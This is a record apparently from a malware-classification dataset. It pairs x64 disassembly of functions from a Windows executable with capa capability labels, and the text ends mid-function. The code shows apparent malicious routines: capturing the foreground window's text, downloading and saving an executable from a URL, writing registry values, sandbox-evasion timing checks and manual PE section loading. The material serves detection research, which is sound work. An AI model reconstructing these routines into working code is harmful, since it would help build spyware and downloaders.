joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008200
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
je 0x14000823d
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140008249
mov al, 1
jmp 0x1400084b5
mov dword [rsp + 0x30], 8
call fcn.140007ad0
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0xa8], rcx
mov edx, eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa8]
call qword [rax + 0x18]
mov dword [rsp + 0x70], eax
call fcn.140007ad0
mov dword [rsp + 0x74], eax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x74]
call fcn.140007a90
movzx eax, al
test eax, eax
je 0x1400082a8
xor al, al
jmp 0x1400084b5
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.1400084c0
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140008530
mov rcx, rax
call fcn.14000d5b0
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x40]
call fcn.140004860
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140008530
mov rcx, rax
call fcn.14000d5b0
mov rcx, qword [rsp + 0xe0]
add rcx, 0x8c
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0xb8]
mov r9, rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x80]
call fcn.140008980
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0
je 0x140008380
cmp dword [rsp + 0xc0], 1
je 0x14000838f
cmp dword [rsp + 0xc0], 3
je 0x14000846d
jmp 0x140008489
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x89], 0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.140008530
mov rcx, rax
call fcn.14000d5b0
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jbe 0x140008422
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140008530
mov rcx, rax
call fcn.14000d5b0
mov rcx, qword [rsp + 0xe0]
mov r9, qword [rcx + 0x98]
mov r8, qword [rsp + 0x68]
mov edx, 1
mov rcx, rax
call fcn.14005736c
cmp qword [rsp + 0x68], rax
je 0x140008422
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x40]
call fcn.140004070
movzx eax, byte [rsp + 0x98]
jmp 0x1400084b5
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140008451
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x40]
call fcn.140004070
movzx eax, byte [rsp + 0x99]
jmp 0x1400084b5
cmp qword [rsp + 0x68], 0
jne 0x14000846b
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140006c40
jmp 0x1400084a5
mov byte [rsp + 0x9a], 1
lea rcx, [rsp + 0x40]
call fcn.140004070
movzx eax, byte [rsp + 0x9a]
jmp 0x1400084b5
mov byte [rsp + 0x9b], 0
lea rcx, [rsp + 0x40]
call fcn.140004070
movzx eax, byte [rsp + 0x9b]
jmp 0x1400084b5
jmp 0x1400082bb
add rsp, 0xd8
ret
Function at 0x140009e00
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
add rax, 0x138
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.14000a910
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x360], eax
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x360]
mov rcx, qword [rsp + 0x60]
add rcx, 0x160
mov rdx, qword [rsp + 0x60]
add rdx, 0x160
mov qword [rsp + 0x38], rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0x38]
mov rcx, rax
call fcn.1400555f0
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x360]
add eax, 8
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x364], eax
mov rax, qword [rsp + 0x60]
add rax, 0x370
mov rcx, rax
call fcn.14000a8c0
add rax, 8
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov word [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
call qword [rax]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140009f8c
mov rax, qword [rsp + 0x60]
add rax, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x138]
mov rax, qword [rax + 0x140]
sub rax, rcx
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x60]
pxor xmm1, xmm1
cvtsi2sd xmm1, qword [rax + 0x130]
divsd xmm1, qword [0x14008c998]
divsd xmm0, xmm1
mov rax, qword [rsp + 0x60]
movsd qword [rax + 0x128], xmm0
mov al, 1
jmp 0x140009f8e
xor al, al
add rsp, 0x58
ret
Function at 0x14000bc20
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov ecx, 0x7532
call fcn.140055d6c
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x38], rax
mov r8d, 0x7532
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.140055c80
mov rax, qword [rsp + 0x38]
mov byte [rax], 2
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x24], 0
mov edx, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x14000bcba
mov rax, qword [rsp + 0x38]
add rax, 2
lea r8, [0x14008cb08]
mov edx, 0x36b0
mov rcx, rax
call fcn.140056678
jmp 0x14000bd73
mov qword [rsp + 0x40], 0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000bcf3
mov rax, qword [rsp + 0x38]
add rax, 2
mov r8d, 0x104
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rax, qword [rsp + 0x38]
add rax, 2
lea rdx, [0x14008cab4]
mov rcx, rax
call fcn.1400567e0
test eax, eax
jne 0x14000bd2c
mov rax, qword [rsp + 0x38]
add rax, 2
lea r8, [0x14008cb18]
mov edx, 0x3a98
mov rcx, rax
call fcn.140056678
mov rax, qword [rsp + 0x38]
add rax, 2
mov rcx, qword [rsp + 0x38]
add rcx, 2
mov r9, rax
lea r8, [0x14008cb24]
mov edx, 0x3a98
call fcn.140056678
mov dword [rsp + 0x50], 0
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0x238
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x38]
add rax, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x2b0]
mov rcx, qword [rcx + 8]
mov rax, qword [rax]
mov r8d, 0x7532
mov rdx, qword [rsp + 0x38]
call qword [rax + reloc.WS2_32.dll_recv]
cmp qword [rsp + 0x38], 0
je 0x14000bde8
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x298], rax
mov rcx, qword [rsp + 0x298]
call fcn.1400555d0
mov qword [rsp + 0x38], 0
add rsp, 0x2a0
pop rdi
ret
Function at 0x14000be00
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x620
mov r8d, 0x2d8
mov rdx, qword [rsp + 0x638]
lea rcx, [rsp + 0x50]
call fcn.1400555f0
xor eax, eax
mov word [rsp + 0x340], ax
lea rax, [rsp + 0x342]
mov rdi, rax
xor eax, eax
mov ecx, 0x2ce
rep stosb byte [rdi], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x330], rax
cmp qword [rsp + 0x330], 0xffffffffffffffff
jne 0x14000be9c
xor eax, eax
jmp 0x14000bf97
mov eax, dword [rsp + 0x640]
sub rax, 0x2d8
mov rcx, qword [rsp + 0x638]
add rcx, 0x2d8
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000bee5
xor eax, eax
jmp 0x14000bf97
mov rcx, qword [rsp + 0x330]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000bf26
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
lea rcx, [rsp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000bf3c
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x340]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x610], eax
cmp dword [rsp + 0x610], 0
je 0x14000bf5d
cmp dword [rsp + 0x610], 1
je 0x14000bf7a
jmp 0x14000bf92
mov r8d, 5
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x630]
call fcn.14000bfa0
jmp 0x14000bf92
xor r8d, r8d
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x630]
call fcn.14000bfa0
mov eax, 1
add rsp, 0x620
pop rdi
ret
Function at 0x14000cbf0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x230], 0
je 0x14000cc1f
lea rax, [0x14008cce0]
mov qword [rsp + 0x38], rax
jmp 0x14000cc2b
lea rax, [0x14008ccf0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x230], 0
je 0x14000cc87
lea rax, str.back
mov qword [rsp + 0x40], rax
jmp 0x14000cc93
lea rax, str.main
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000ccf6
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000ccf6
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000cd01
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret
Function at 0x14000cee0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x8a8
mov qword [rsp + 0x880], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x888], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 1
mov byte [rsp + 0x70], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.MSIE_6.0
call qword [rsp + 0x68]
mov qword [rsp + 0x880], rax
cmp qword [rsp + 0x880], 0
jne 0x14000cf97
cmp qword [rsp + 0x58], 0
je 0x14000cf90
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000d14a
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x14000d000
cmp qword [rsp + 0x58], 0
je 0x14000cff9
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x14000d14a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x8b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x14000d0fb
mov r8d, 0x800
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140055c80
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x890], rax
lea r9, [rsp + 0x888]
mov r8d, 0x800
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x890]
cmp dword [rsp + 0x44], 0
je 0x14000d0b1
movzx eax, word [rsp + 0x80]
cmp eax, 0x5a4d
je 0x14000d0b1
mov byte [rsp + 0x70], 0
jmp 0x14000d0f0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x888]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x888], 0
ja 0x14000d043
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x48]
mov rcx, qword [rsp + 0x880]
call qword [rsp + 0x48]
cmp qword [rsp + 0x58], 0
je 0x14000d145
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, byte [rsp + 0x70]
add rsp, 0x8a8
ret
Function at 0x14000d160
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000d18a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14000d18a
xor eax, eax
jmp 0x14000d18f
mov eax, 1
add rsp, 0x28
ret
Function at 0x14000f460
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx]
movzx ecx, word [rcx + 0x14]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x30], 0
jmp 0x14000f4cf
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x50]
add rax, 0x28
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x30], eax
jge 0x14000f690
mov rax, qword [rsp + 0x50]
cmp dword [rax + 0x10], 0
jne 0x14000f5b1
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jle 0x14000f5ac
movsxd rax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [rsp + 0x88]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000f568
xor eax, eax
jmp 0x14000f695
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
movsxd rax, dword [rsp + 0x40]
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.140055c80
jmp 0x14000f4b7
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x50]
add eax, dword [rcx + 0x10]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x78]
call fcn.14000f420
test eax, eax
jne 0x14000f5da
xor eax, eax
jmp 0x14000f695
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 0x58]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
mov rax, qword [rsp + 0x88]
call qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14000f630
xor eax, eax
jmp 0x14000f695
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x38]
call fcn.1400555f0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 8], eax
jmp 0x14000f4b7
mov eax, 1
add rsp, 0x68
ret
Function at 0x1400111c0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x148]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x60]
add rax, 0x150
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x60]
add rax, 0x138
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.14000a910
mov rax, qword [rsp + 0x60]
add rax, 0x160
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x360], eax
mov rax, qword [rsp + 0x60]
movsxd rax, dword [rax + 0x360]
mov rcx, qword [rsp + 0x60]
add rcx, 0x160
mov rdx, qword [rsp + 0x60]
add rdx, 0x160
mov qword [rsp + 0x38], rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0x38]
mov rcx, rax
call fcn.1400555f0
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x360]
add eax, 8
mov rcx, qword [rsp + 0x60]
mov dword [rcx + 0x364], eax
mov rax, qword [rsp + 0x60]
add rax, 0x370
mov rcx, rax
call fcn.14000a8c0
add rax, 8
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov word [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
call qword [rax]
mov dword [rsp + 0x34], eax
mov edx, 0xfa0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x14001134a
cmp dword [rsp + 0x48], 0x102
je 0x1400113d5
cmp dword [rsp + 0x48], 0xffffffff
je 0x1400113ed
jmp 0x140011403
mov rax, qword [rsp + 0x60]
add rax, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x138]
mov rax, qword [rax + 0x140]
sub rax, rcx
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
mov rax, qword [rsp + 0x60]
pxor xmm1, xmm1
cvtsi2sd xmm1, qword [rax + 0x130]
divsd xmm1, qword [0x14008c998]
divsd xmm0, xmm1
mov rax, qword [rsp + 0x60]
movsd qword [rax + 0x128], xmm0
mov rax, qword [rsp + 0x60]
add rax, 0x150
mov ecx, 1
xchg dword [rax], ecx
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, 1
jmp 0x140011405
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x140011405
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x140011405
xor al, al
add rsp, 0x58
ret
Function at 0x140011fd0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1538
call fcn.1400587d0
sub rsp, rax
mov qword [rsp + 0x1510], 0xfffffffffffffffe
mov dword [rsp + 0x1508], 0
lea rdx, [0x14008d180]
lea rcx, [rsp + 0x14e0]
call fcn.140013f30
nop
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x13c0]
call fcn.140012200
nop
lea rcx, [rsp + 0x14e0]
call fcn.140004070
lea rcx, [rsp + 0x13c0]
call fcn.140012230
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.140014590
mov r8d, reloc.WS2_32.dll_ntohs
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400145e0
mov r8d, 1
mov edx, 3
lea rcx, [rsp + 0x13d0]
call fcn.140014610
nop
mov dword [rsp + 0x14d0], 0
jmp 0x14001209e
mov eax, dword [rsp + 0x14d0]
inc eax
mov dword [rsp + 0x14d0], eax
cmp dword [rsp + 0x14d0], 0x20
jge 0x1400121ae
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.14001bb30
mov dword [rsp + 0x14d4], eax
cmp dword [rsp + 0x14d4], 0xa
jge 0x1400120df
mov eax, dword [rsp + 0x14d4]
add eax, 0x30
mov dword [rsp + 0x1518], eax
jmp 0x1400120f0
mov eax, dword [rsp + 0x14d4]
add eax, 0x57
mov dword [rsp + 0x1518], eax
movzx eax, byte [rsp + 0x1518]
mov byte [rsp + 0x14d8], al
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x140012122
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1520], rax
jmp 0x14001212e
mov qword [rsp + 0x1520], 0
movzx edx, byte [rsp + 0x14d8]
mov rcx, qword [rsp + 0x1520]
call fcn.14001bb70
cmp dword [rsp + 0x14d0], 7
je 0x14001216b
cmp dword [rsp + 0x14d0], 0xb
je 0x14001216b
cmp dword [rsp + 0x14d0], 0xf
je 0x14001216b
cmp dword [rsp + 0x14d0], 0x13
jne 0x1400121a9
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x14001218e
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1528], rax
jmp 0x14001219a
mov qword [rsp + 0x1528], 0
mov dl, 0x2d
mov rcx, qword [rsp + 0x1528]
call fcn.14001bb70
jmp 0x14001208e
mov rdx, qword [rsp + 0x1540]
lea rcx, [rsp + 0x13d0]
call fcn.140014740
mov eax, dword [rsp + 0x1508]
or eax, 1
mov dword [rsp + 0x1508], eax
lea rcx, [rsp + 0x13d0]
call fcn.140012250
mov rax, qword [rsp + 0x1540]
add rsp, 0x1538
ret
Function at 0x1400123a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0xa8
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x84]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movzx eax, word [rsp + 0x6e]
movzx ecx, word [rsp + 0x86]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x14008c998]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x90], 1
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x5c], 3
mov dword [rsp + 0x8c], 4
mov dword [rsp + 0x74], 5
mov dword [rsp + 0x34], 6
mov dword [rsp + 0x48], 7
mov dword [rsp + 0x88], 8
mov dword [rsp + 0x44], 9
mov dword [rsp + 0x94], 0xa
mov dword [rsp + 0x70], VariantTimeToDosDateTime
mov dword [rsp + 0x40], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov dword [rsp + 0x58], reloc.WS2_32.dll_listen
mov dword [rsp + 0x30], reloc.WS2_32.dll_ntohl
movsd xmm0, qword [0x14008d6c8]
comisd xmm0, xmmword [rsp + 0x50]
jbe 0x1400124a3
jmp 0x140012521
call fcn.140013490
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140012530]
xor edx, edx
xor ecx, ecx
